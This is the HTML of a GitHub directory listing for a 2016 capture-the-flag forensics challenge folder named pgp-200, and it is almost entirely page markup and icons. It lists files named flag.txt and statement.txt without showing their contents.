0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ctf-x </span> <span>/</span> ctfx-problems-2016
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ctf-x/ctfx-problems-2016/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":62685294,"originating_url":"https://github.com/ctf-x/ctfx-problems-2016/tree/master/forensics/pgp-200","user_id":null}}" data-hydro-click-hmac="46cd828cd6e147a7e0c410c781573eef98b90002ec76a325fa1d7e829e8912f8"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ctf-x/ctfx-problems-2016/refs" cache-key="v0:1467772688.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3RmLXgvY3RmeC1wcm9ibGVtcy0yMDE2" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>forensics</span></span><span>/</span>pgp-200<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfx-problems-2016</span></span></span><span>/</span><span><span>forensics</span></span><span>/</span>pgp-200<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ctf-x/ctfx-problems-2016/tree-commit/b71497b6b3eccbf0b8bebd37918f0f2e8afa1fb4/forensics/pgp-200" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/ctf-x/ctfx-problems-2016/file-list/master/forensics/pgp-200"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>statement.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
